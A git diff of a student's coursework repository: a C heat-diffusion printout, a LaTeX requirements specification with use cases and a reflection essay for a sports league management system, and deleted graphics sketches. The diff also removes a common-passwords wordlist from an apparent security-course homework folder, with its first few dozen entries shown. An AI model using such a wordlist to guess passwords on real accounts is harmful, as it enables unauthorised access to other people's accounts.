printf("Time step increases going down rows\n"); + printf("Position on rod changes going accross columns\n"); + + // Column headers + printf("%3s| ", ""); + for (p = 0; p < width; p++) + { + printf("%5d ", p); + } + printf("\n"); + printf("%3s+-", "---"); + for (p = 0; p < width; p++) + { + printf("------"); + } + printf("\n"); + // Row headers and data + for (t = 0; t < max_time; t++) + { + printf("%3d| ", t); + for (p = 0; p < width; p++) + { + printf("%5.1f ", H[t][p]); + } + printf("\n"); + } + + return 0; +} diff --git a/OLD/csci5801/a1.tex b/OLD/csci5801/a1.tex new file mode 100644 index 0000000..c79ad75 --- /dev/null +++ b/OLD/csci5801/a1.tex @@ -0,0 +1,266 @@ +%Copyright 2014 Jean-Philippe Eisenbarth +%This program is free software: you can +%redistribute it and/or modify it under the terms of the GNU General Public +%License as published by the Free Software Foundation, either version 3 of the +%License, or (at your option) any later version. +%This program is distributed in the hope that it will be useful,but WITHOUT ANY +%WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A +%PARTICULAR PURPOSE. See the GNU General Public License for more details. +%You should have received a copy of the GNU General Public License along with +%this program. If not, see . + +%Based on the code of Yiannis Lazarides +%http://tex.stackexchange.com/questions/42602/software-requirements-specification-with-latex +%http://tex.stackexchange.com/users/963/yiannis-lazarides +%Also based on the template of Karl E. Wiegers +%http://www.se.rit.edu/~emad/teaching/slides/srs_template_sep14.pdf +%http://karlwiegers.com +\documentclass{scrreprt} +\usepackage{listings} +\usepackage{underscore} +\usepackage[bookmarks=true]{hyperref} +\usepackage[utf8]{inputenc} +\usepackage[english]{babel} +\usepackage{graphicx} +\graphicspath{{./img/}} +\def\myversion{1.0 } +\date{} +%\title{% + +%} +\usepackage{hyperref} +\begin{document} + +\begin{flushright} + \rule{16cm}{5pt}\vskip1cm + \begin{bfseries} + \Huge{SOFTWARE REQUIREMENTS\\ SPECIFICATION}\\ + \vspace{1.9cm} + for\\ + \vspace{1.9cm} + Sports League Administration Manager (SLAM)\\ + \vspace{1.9cm} + Prepared by Matt Strapp\\ + \vspace{1.9cm} + University of Minnesota\\ + \vspace{1.9cm} + \today\\ + \end{bfseries} +\end{flushright} + +\tableofcontents + + +\chapter{Introduction} + +\section{Purpose} + +The purpose is to provide a description for the Sports League Administration Manager (SLAM). It will explain the purposes, features, interfaces, and designed use cases for the system. This is intended for both the Minneapolis Parks and Recreation Board and the developers of the service. + +\section{Document Conventions} + +This Document made to comply with the IEEE Software Requirements Format. + +\section{Intended Audience and Reading Suggestions} +This document is designed to be read by the developers creating and maintaining SLAM, the administrators at the Minneapolis Parks and Recreation Board, and the athletes, league administrators, coaches, and other interested parties. + +\section{Project Scope} +SLAM will be used by Minneapolis Municipal Parks and Recreation to organize sports leagues throughout the city. The system will provide methods for creating, managing, and administering sports leagues as well as assign officials. The system will also allow coaches to create teams and add players to teams. + + +\section{References} +\noindent +Sports League Administration Manager (SLAM) Software Requirements \\ +\noindent +Sports League Administration Manager (SLAM) Use Cases + +\chapter{Overall Description} + +\section{Product Perspective} +\includegraphics[width=\textwidth]{diagram} \\ + +The Sports League Administration Manager is developed to organize a +$<$Describe the context and origin of the product being specified in this SRS. +For example, state whether this product is a follow-on member of a product +family, a replacement for certain existing systems, or a new, self-contained +product. If the SRS defines a component of a larger system, relate the +requirements of the larger system to the functionality of this software and +identify interfaces between the two. A simple diagram that shows the major +components of the overall system, subsystem interconnections, and external +interfaces can be helpful.$>$ + +\section{Product Functions} +$<$Summarize the major functions the product must perform or must let the user +perform. Details will be provided in Section 3, so only a high level summary +(such as a bullet list) is needed here. Organize the functions to make them +understandable to any reader of the SRS. A picture of the major groups of +related requirements and how they relate, such as a top level data flow diagram +or object class diagram, is often effective.$>$ + +\section{User Classes and Characteristics} +The system is divided into four users: administrators, officials, coaches, and the public. The roles are defined below. +\begin{itemize} + \item Administrators: + \begin{itemize} + \item Create and manage leagues + \item Create and manage league and tournament schedules + \item Generate user statistics on demand + \item Assign officials to leagues and games + \end{itemize} +\end{itemize} +Administrators include Staff members and the Parks and Recreation Organizer. They have the highest privilege level. Administrators are the ones in charge of creating leagues, scheduling games, and assigning officials. They also are the users that create statistics and deal with finances. +\begin{itemize} + \item Officials: + \begin{itemize} + \item Submit their availability to official games + \item Accept or reject games to officiate + \item View the schedule of games they need to attend + \item Submit scores when game is complete + \end{itemize} +\end{itemize} +Officials are responsible for submitting scores when games are over. They also are responsible for submitting their schedules so all games played have a sufficient number of officials. +\begin{itemize} + \item Coaches: + \begin{itemize} + \item Create teams + \item Add athletes to teams + \end{itemize} +\end{itemize} +Coaches are responsible for creating teams and adding athletes to teams. +\begin{itemize} + \item Athletes, the Public: + \begin{itemize} + \item View schedule + \end{itemize} +\end{itemize} +Athletes and other end users need to be able to view the schedule of games they plan on attending or playing in. + +\section{Assumptions and Dependencies} + +It is assumed that an external database and interface already exist. + +\chapter{System Features} + +\section{League Creation} + +\subsection{Description and Priority} +The system shall allow administrators to create leagues for sports. The system will list sports to create a league for and the user will select the sport. The system will then list the leagues that are available for the sport and the user will select the league. + +\subsection{Stimulus/Response Sequences} +A user must be logged in as an administrator to be able to create a league. The user submits the sport they want to create a league for and the system will respond by verifying the response and creating a new league if the response is valid. + +\subsection{Functional Requirements} +REQ-101: The system shall list all sports that leagues can be created for. \\ +REQ-102: The system shall validate the user input. \\ +REQ-103: The system shall return an error if the user tries to create a league for a sport that does not exist or is no longer allowing league creation. \\ +REQ-104: The system shall create the league after verifying the input. \\ +\indent Valid sports are as follows: Sand Volleyball, Kickball, Indoor Soccer, Softball, Outdoor Soccer, Tennis, Flag Football, Fall Soccer, Dodgeball, Indoor Volleyball, Fall Kickball, Fall Softball, Basketball, Broomball, and Pond Hockey. + + +\section{Schedule Generation} + +\subsection{Description and Priority} +The system shall allow administrators to create schedules for leagues. + +\subsection{Stimulus/Response Sequences} +A user must be signed in as an administrator. The user supplies a beginning and ending date for the schedule and the system will generate a schedule for the league. + +\subsection{Functional Requirements} + +REQ-201: The user must specify a start and end date for the league. \\ +REQ-202: The system shall verify the dates. The verification process is TBD. +REQ-203: The system shall generate a valid schedule for the league provided between the dates provided. The verification process for this is TBD.\\ +REQ-204: The system shall return an error if the dates are invalid. \\ +REQ-205: The system shall return an error if it cannot generate a schedule for the league. +REQ-206: The system shall return a valid generated schedule after it has validated the inputs. What constitutes a valid schedule is TBD. \\ + +\section{Team Creation} + + \subsection{Description and Priority} + The system shall allow coaches and administrators to register teams. + \subsection{Stimulus/Response Sequences} + A user must be signed in as a coach or administrator. The user supplies the name of the team and the system will create the team. The user must supply a valid roster and the league they want to register the team for. + \subsection{Functional Requirements} + REQ-301: The system shall validate the number of team members and return an error if the team is too small for the sport. \\ + REQ-302: The system shall validate the team name and return an error if the team name is invalid. What constitutes an invalid team name is TBD. \\ + REQ-303: The system shall create a team with the supplied roster and name and add it to the database. + +\section{Roster Editing} + + \subsection{Description and Priority} + The system shall allow coaches and administrators to edit rosters. + \subsection{Stimulus/Response Sequences} + A user must be signed in as a coach or administrator. The user submits the change that they want to make to the roster. The system responds by changing the roster as requested. + \subsection{Functional Requirements} + REQ-401: The system shall return an error if the user does not have permission to edit that team's roster. \\ + REQ-402: The system shall return an error if the user tries to edit a team that does not exist. \\ + REQ-403: The system shall change the roster as requested if the user has permission to edit that team's roster. +\section{Generate Statistics} + + \subsection{Description and Priority} + The system shall allow administrators to generate statistics. + \subsection{Stimulus/Response Sequences} + A user must be signed in as an administrator. The user submits the type of statistics they want to generate. The system will generate the statistics asked. + \subsection{Functional Requirements} + REQ-501: The system shall return an error if the user tries to generate statistics for a sport, league or player that does not exist. \\ + REQ-502: The system shall generate the statistics and display them to the user when generated. + +\section{Assign Officials} + \subsection{Description and Priority} + The system shall allow administrators to assign officials to leagues and games. + \subsection{Stimulus/Response Sequences} + A user must be signed in as an administrator. The user submits the league and game they want to assign officials to. The system will assign the officials to the game based on the schedule given by the officials. + \subsection{Functional Requirements} + REQ-601: The system shall return an error if the user tries to assign officials to a league or game that does not exist. \\ + REQ-602: The system shall return an error if no officials can be found for a game. \\ + REQ-603: The system shall assign the officials to the game and publish the schedule so the officals can see what games they need to officiate. + +\section{Submit Scores} + \subsection{Description and Priority} + The system shall allow officials to submit scores for games they officiate. + \subsection{Stimulus/Response Sequences} + A user must be signed in as an official. The user submits the score for the game they are officiating. + \subsection{Functional Requirements} + REQ-701: The system shall return an error if the user tries to submit a score for a game that does not exist. \\ + REQ-702: The system shall return an error if the user tries to submit a score for a game that is not officiating. \\ + REQ-703: The system shall submit the score to the database and publish it to an external site after the submission is complete. \\ + REQ-704: The system shall allow administrators to change scores if they contradict the official's reported scores. + + + \section{Generate Bracket} + \subsection{Description and Priority} + The system shall allow administrators to generate brackets for leagues. + \subsection{Stimulus/Response Sequences} + A user must be signed in as an administrator. The user submits the league they want to generate a bracket for. The system will generate the bracket along with the dates for the games. \\ + This requirement is built off of requirement 2. + \subsection{Functional Requirements} + REQ-801: The system shall return an error if the user tries to generate a bracket for a league that does not exist. \\ + REQ-802: The system shall generate the bracket and proceed to generate the schedule according to Requirement 2. \\ + REQ-803: The system shall return an error if the system cannot generate the bracket requested. \\ + + \section{View Schedules} + \subsection{Description and Priority} + The system shall allow users to view schedules for leagues. + \subsection{Stimulus/Response Sequences} + Any user can access the schedule for a league. They do not have to be signed in to view the public schedules. Officals can view the schedule for a league they are officiating and administrators can view any schedule for any league. + \subsection{Functional Requirements} + REQ-901: The system shall return an error if the user tries to view a schedule for a league that does not exist. \\ + REQ-902: The system shall return an error if an unauthenticated user tries to view a schedule for a league that is not public. \\ + REQ-903: The system shall return an error if an authenticated user tries to view a schedule for a league that they do not have permission to access. \\ + REQ-904: The system shall return the schedule for the league requested. + + +\section{Appendix A: Glossary} +%see https://en.wikibooks.org/wiki/LaTeX/Glossary +SLAM: The Sports League Administration Manager +Staff: The people who run the league, working for the Municipal Parks and Recreation Department. +Administrators: People with administrative privileges. +Officals: People who officiate games. +Coaches: People who create teams. +Athletes: People who play in the leagues. +The Public: Everyone else. + + +\section{Appendix B: To Be Determined List} +TODO: specifications, testing, the rest of the document +\end{document} \ No newline at end of file diff --git a/OLD/csci5801/a1_usecase.tex b/OLD/csci5801/a1_usecase.tex new file mode 100644 index 0000000..1856efb --- /dev/null +++ b/OLD/csci5801/a1_usecase.tex @@ -0,0 +1,474 @@ +%% Use Cases Template File +%% Created by Tom Desair (http://www.tomdesair.com) +%% Downloadable at: http://www.tomdesair.com/downloads/use-case-latex-template.zip +%% Date Modified: 03/04/2012 +% +% This work may be distributed and/or modified under the +% conditions of the LaTeX Project Public License, either version 1.3 +% of this license or (at your option) any later version. +% The latest version of this license is in +% http://www.latex-project.org/lppl.txt +% and version 1.3 or later is part of all distributions of LaTeX +% version 2005/12/01 or later. + +\documentclass[a4paper, 10pt, oneside, draft]{article} + +%include the usecases package +\usepackage{usecases} + +\begin{document} + +%Sometimes it is a good idea to put domain objects in \texttt{} +%The template and the descriptions are based on the book Applying UML and Patterns: +%An Introduction to Object-Oriented Analysis and Design and Iterative Development +%(3rd Edition) by Craig Larman. +\begin{usecase} + +\addtitle{Use Case 1}{Creating a League} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Administrator} + +\addfield{Trigger:}{An administrator wants to create a new league.} + +%Preconditions: What must be true on start and worth telling the reader? +\addfield{Preconditions:}{The user must be signed in as an administrator.} +%when multiple +%\additemizedfield{Preconditions:}{} + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The league will be created.} +%when multiple +%\additemizedfield{Preconditions:}{} + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The administrator creates a new league. + \item The league is created +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not an administrator: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[2.a] The league cannot be created: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} +} +\end{usecase} +\pagebreak +\begin{usecase} + +\addtitle{Use Case 2}{Creating a Team} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Coach} + +\addfield{Trigger:}{A coach wants to create a new team.} + +%Preconditions: What must be true on start and worth telling the reader? +\addfield{Preconditions:}{The user must be signed in as a coach.} +%when multiple +%\additemizedfield{Preconditions:}{} + +%Postconditions: What must be true on successful completion and worth telling the reader +% \addfield{Postconditions:}{The team will be created.} +%when multiple +\additemizedfield{Preconditions:}{\item The user must be signed in as a coach \item A league must already exist} + + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item[1] The coach creates a new team. + \item[2] The team is created +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not a coach: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[2.a] The team cannot be created: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.b] The league does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] The user returns to step 1 + \end{enumerate} +} + + +\end{usecase} + +\pagebreak + +\begin{usecase} + +\addtitle{Use Case 3}{Generating a Schedule} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Administrator} + +\addfield{Trigger:}{An administrator wants to generate a schedule.} + +%Preconditions: What must be true on start and worth telling the reader? +\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist} + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The schedule will be generated.} + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The administrator selects a league to generate a schedule for. + \item The administrator generates a schedule. + \item The schedule is generated. +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not an administrator: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[2.a] The league does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.a] The league does not have any teams: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.b] The schedule fails to be created: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} +} + +\end{usecase} + +\pagebreak + +\begin{usecase} + +\addtitle{Use Case 4}{Generating Statistics} + + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Administrator} + +\addfield{Trigger:}{An administrator wants to generate statistics.} + +%Preconditions: What must be true on start and worth telling the reader? +\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist} + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The statistics will be generated.} + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The administrator selects a league to generate statistics for. + \item The administrator generates statistics. + \item The statistics are generated. +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not an administrator: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[1.b] The league does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.a] The league does not have any teams: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.b] The statistics fail to be generated: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} +} + +\end{usecase} + +\pagebreak + +\begin{usecase} + +\addtitle{Use Case 5}{Assign Officials} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Administrator} + +\addfield{Trigger:}{An administrator wants to assign officials.} + +%Preconditions: What must be true on start and worth telling the reader? +\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist \item Officials must already exist for the league} + + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The officials will be assigned.} + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The administrator selects a league to assign officials to. + \item The administrator assigns officials. + \item The officials are assigned. +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not an administrator: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[2.a] The league does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.a] There are no eligible officials: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.b] An unknown error occurs: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} +} + +\end{usecase} + +\pagebreak + + +\begin{usecase} + +\addtitle{Use Case 6}{Generate Bracket} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Administrator} + +\addfield{Trigger:}{An administrator wants to generate a bracket.} + +%Preconditions: What must be true on start and worth telling the reader? +\additemizedfield{Preconditions:}{\item The user must be singed in as an administrator \item A league must already exist} + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The bracket will be generated and a schedule will be created.} + + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The administrator selects a league to generate a bracket for. + \item The administrator generates a bracket. + \item The bracket is generated. + \item A schedule is created from the bracket, following Use Case 3. +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not an administrator: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[2.a] The league does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.a] The league does a cleanly divisible number of teams: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[3.b] The schedule fails to be created: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[4.b] A bracket is manually generated + \begin{enumerate} + \item[1.] The system follows all steps except step 5 + \item[2.] The schedule is created + \end{enumerate} +} +\end{usecase} + +\pagebreak + +\begin{usecase} + +\addtitle{Use Case 7}{Submit Scores} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{Official} + +\addfield{Trigger:}{An official wants to submit scores for a game they officiated.} + +%Preconditions: What must be true on start and worth telling the reader? +\additemizedfield{Preconditions:}{\item The user must be singed in as an official \item A league must already exist \item A schedule must already exist \item A game must already exist \item The user must have permission to submit scores for that game} + + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The scores will be submitted.} + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The official selects a game to submit scores for. + \item The official submits scores. + \item The scores are submitted. +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The user is not an official: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to login page + \end{enumerate} + \item[1.b] An administrator: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[2.a] The league does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[2.b] The schedule does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[2.c] The game does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[2.d] The user does not have permission to submit scores for that game: + \begin{enumerate} + \item[1.] System shows permission denied + \item[2.] User returns to step 1 + \end{enumerate} + +} +\end{usecase} + +\pagebreak + + +\begin{usecase} + +\addtitle{Use Case 8}{View Schedule} + +%Scope: the system under design +\addfield{Scope:}{System-wide} + +%Level: "user-goal" or "subfunction" +\addfield{Level:}{User-goal} + +%Primary Actor: Calls on the system to deliver its services. +\addfield{Primary Actor:}{End User} + +\addfield{Trigger:}{An end user wants to view a schedule.} + + +%Preconditions: What must be true on start and worth telling the reader? +\additemizedfield{Preconditions:}{ \item A schedule must already exist \item If the schedule is not public the user must be signed in} + +%Postconditions: What must be true on successful completion and worth telling the reader +\addfield{Postconditions:}{The schedule will be displayed.} + +%Main Success Scenario: A typical, unconditional happy path scenario of success. +\addscenario{Main Success Scenario:}{ + \item The user selects a league to view a schedule for. + \item The schedule is displayed. +} + +%Extensions: Alternate scenarios of success or failure. +\addscenario{Extensions:}{ + \item[1.a] The schedule is not public: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} + \item[2.a] The schedule does not exist: + \begin{enumerate} + \item[1.] System shows failure message + \item[2.] User returns to step 1 + \end{enumerate} +} +\end{usecase} + + + +\end{document} + diff --git a/OLD/csci5801/a4.tex b/OLD/csci5801/a4.tex new file mode 100644 index 0000000..3b26835 --- /dev/null +++ b/OLD/csci5801/a4.tex @@ -0,0 +1,49 @@ +\documentclass{article} +\pagenumbering{gobble} +\begin{document} +\section{Elicitation Session} + \subsection{What did you learn from the elicitation session? What parts worked well? What parts did not work well?} + The main thing to learn from the elicitation session should have been rather obvious: not everyone knows everything. Sometimes if you ask a question the customer simply does not know the answer. The main thing that did not work well was the very large number of groups potentially wasting time by having groups not show up. + \subsection{How might you prepare differently for a similar experience in the future, where you may only have one chance to meet and talk with the user(s)?} + The easiest way to prepare for the next session is to have even more questions beforehand and set them by priority. Our group had questions, but did not have them sorted by priority. Sorting them by priority would allow important questions to be answered first and less important questions to be answered later if at all. + \subsection{When is asking the same question twice bad/unhelpful? When is asking the same question twice good/helpful?} +The only time asking the same question is helpful is if you ask two completely different people, because then you do not waste time getting the same answer twice. Any other time would only waste valuable time that could better be used for different questions. + +\section{Individual Requirements} + \subsection{How well did capturing the requirements go?} + Capturing requirements was straightforward for the most part. Trying to balance between being too specific and too vague was the most difficult part. + \subsection{How did you approach user statements/requirements which were vague or ambiguous?} + The way I dealt with it was by attempting to make the requirement surrounding the vagary as general as possible. If the requirement needs to be tweaked to make it more specific, it can be done more easily than making something less specific. + \subsection{How did you approach user statements/requirements which were contradictory?} + This did not happen when writing my requirements. + \subsection{Did you follow a template? Did the template help or hurt your efforts? Why?} +The IEEE \LaTeX template made everything significantly easier to format, since dealing with Microsoft Word's and other WYSIWYG formatting has been ruled as illegal by the Geneva Conventions. The template also helped by suggesting what should be in each section, reducing time spent looking up something not talked about in class or potentially vague. + +\section{Team Requirements} + \subsection{Did you encounter any situations where you and your teammates disagreed on the definitions or process? What caused that ambiguity? What could you do next time to avoid it? If your team faced no disagreements, explain how you worked together to build the requirements to avoid them.} +The main problem with group work is schedules. The more people you have to get together, the less time that works for everyone. The way this was mitigated was either making meetings short or filling the member not present in after the others met. + +\section{Final Spec and Testing} + \subsection{What kinds of assumptions will be necessary to ensure that meeting the specification (verification) means that you have also met the requirements (validation)?} + The main assumption is that the external requirements (databases, etc.) are written in a way that the tests will still work. + \subsection{How did you translate the requirements to specification?} + The way to turn a requirement into a specification is to take the requirement and make it more technical. Requirements are meant more for the customer, so writing specifications are meant to be more technical. + \subsection{What was the most difficult aspect of writing your test cases?} + The main thing is knowing how many test cases to write. Writing too many will be time consuming on implementation while too few potentially adds places where bugs can sneak in. + \subsection{Did writing your test cases help you find issues in your requirements? If so, what did you find and how did test case writing help you find/fix it? If not, what kinds of work effort (man-hours/financial) is going to be necessary to implement your tests? Explain.} + Writing some test cases showed that some of our requirements were redundant. Reducing requirements will be easier to implement, since large and unwieldy requirements documents are more likely to breed failure. + \subsection{How brittle are your tests? What kinds of changes could break them (provide concrete examples)?} + The main thing that could break the tests would be any potential API changes that would happen to the external back end. The database is assumed to work one way and provide specific items, so if those cannot be obtained anymore some tests would need to be rewritten. + + +\section{Misc.} + \subsection{What were the most difficult parts of writing the SRS (including Assignments 1-3 in your thoughts)?} + The most difficult part is balancing what to write and what to not write. An excessive document is unwieldy and difficult to read, while a short one is likely missing vital information that could potentially cause the system to fail. + \subsection{What additional experience or training would be helpful for next time?} + The most likely experience needed would be a better way to write requirements and use cases from vague information. Thinking of requirements that may or may not be needed is a massive time sink. + \subsection{How sure are you that the specification you wrote meets the requirements? If you are confident that it does, what specifically gives you that confidence? If you are not confident, what would you do to fix that, and how do you know when to stop?} + I am somewhat confident our specifications meet our requirements. We added all of our requirements together and we all checked over our specifications, so multiple eyes saw the document. + \subsection{What are the greatest risks in your SRS? What are the likely things that will go wrong? What makes them risky?} + The greatest risk to this or any requirement is that the customer's needs change. If the customer's needs change, the requirements will need to be updated. Updated requirements once again eat into valuable time that could be spent implementing and optimizing the system. + +\end{document} \ No newline at end of file diff --git a/OLD/csci5801/img/diagram.png b/OLD/csci5801/img/diagram.png new file mode 100644 index 0000000..06ca502 Binary files /dev/null and b/OLD/csci5801/img/diagram.png differ diff --git a/OLD/csci5801/usecases.sty b/OLD/csci5801/usecases.sty new file mode 100644 index 0000000..c31fd51 --- /dev/null +++ b/OLD/csci5801/usecases.sty @@ -0,0 +1,64 @@ +%% Use Cases Style File +%% Created by Tom Desair (http://www.tomdesair.com) +%% Downloadable at: http://www.tomdesair.com/downloads/use-case-latex-template.zip +%% Date Modified: 03/04/2012 +% +% This work may be distributed and/or modified under the +% conditions of the LaTeX Project Public License, either version 1.3 +% of this license or (at your option) any later version. +% The latest version of this license is in +% http://www.latex-project.org/lppl.txt +% and version 1.3 or later is part of all distributions of LaTeX +% version 2005/12/01 or later. + +%------------------------------------------------------------------------------- +% Required Packages +%------------------------------------------------------------------------------- +\usepackage{booktabs} +\usepackage{multirow} +\usepackage{longtable} + +%------------------------------------------------------------------------------- +% \addtitle command: add the title of the use case +%------------------------------------------------------------------------------- +\newcommand\addtitle[2]{\hline \\ [-1.5ex] \textbf{#1} &\textbf{#2}\\ [1ex] \hline \\ [-1.5ex]} +\newcommand\tabularhead{\begin{longtable}{lp{8.9cm}} +} + +%------------------------------------------------------------------------------- +% \addfield command: add a property of the use case +%------------------------------------------------------------------------------- +\newcommand\addfield[2]{\textit{#1} \\ [1ex] \hline \\ [-1.3ex] } + +%------------------------------------------------------------------------------- +% \addscenario command: add the main (or alternative) scenario +% of the use case +%------------------------------------------------------------------------------- +\newcommand\addscenario[2]{ +\multicolumn{2}{l}{\textit{#1}} \\ +\multicolumn{2}{l}{ +\begin{minipage}[t]{13.2cm} + \begin{enumerate} #2 \end{enumerate} + \vspace{1.3ex} +\end{minipage} +} \\ [1ex] \hline \\ [-1.5ex] } + +%------------------------------------------------------------------------------- +% \additemizedfield command: add a field with an item list +%------------------------------------------------------------------------------- +\newcommand\additemizedfield[2]{ + \begin{minipage}[t][][t]{3.5cm} + \textit{#1} + \vspace{1.3ex} + \end{minipage}% + & + \begin{minipage}[t][][t]{8.9cm} + \begin{itemize} #2 \end{itemize} + \vspace{1.5ex} + \end{minipage}\\ [1ex] \hline \\ [-1.5ex] } + +%------------------------------------------------------------------------------- +% Definition of the use case environment +%------------------------------------------------------------------------------- +\newenvironment{usecase}{\tabularhead} +{\end{longtable}} diff --git a/csci4611/lec/hexagon/hexagon.pde b/csci4611/lec/hexagon/hexagon.pde deleted file mode 100644 index 46eaf2e..0000000 --- a/csci4611/lec/hexagon/hexagon.pde +++ /dev/null @@ -1,14 +0,0 @@ -void setup() { - size(800,800); -} - -void draw() { - background(255); - noFill(); - beginShape(); - float lineCount=1000; - for (float i = 0; i<=lineCount; i++) { - vertex(i,400+200*cos(i/80)); - } - endShape(); -} \ No newline at end of file diff --git a/csci4611/lec/triangles/triangles.pde b/csci4611/lec/triangles/triangles.pde deleted file mode 100644 index 6c7306b..0000000 --- a/csci4611/lec/triangles/triangles.pde +++ /dev/null @@ -1,10 +0,0 @@ -void draw() { - fill(255); - noStroke(); - beginShape(TRIANGLE_FAN); - vertex(50,50); - for (int x=0;x<=8;x++) { - vertex(50+cos(x*PI/5)*30,50+sin(x*PI/5)*30); - } - endShape(CLOSE); -} \ No newline at end of file diff --git a/csci5271/ho2/10k-most-common.txt b/csci5271/ho2/10k-most-common.txt deleted file mode 100644 index c03abe8..0000000 --- a/csci5271/ho2/10k-most-common.txt +++ /dev/null @@ -1,10000 +0,0 @@ -password -123456 -12345678 -1234 -qwerty -12345 -dragon -pussy -baseball -football -letmein -monkey -696969 -abc123 -mustang -michael -shadow -master -jennifer -111111 -2000 -jordan -superman -harley -1234567 -fuckme -hunter -fuckyou -trustno1 -ranger -buster -thomas -tigger -robert -soccer -fuck -batman -test -pass -killer -hockey -george -charlie -andrew -michelle -love -sunshine -jessica -asshole -6969 -pepper -daniel -access -123456789 -654321 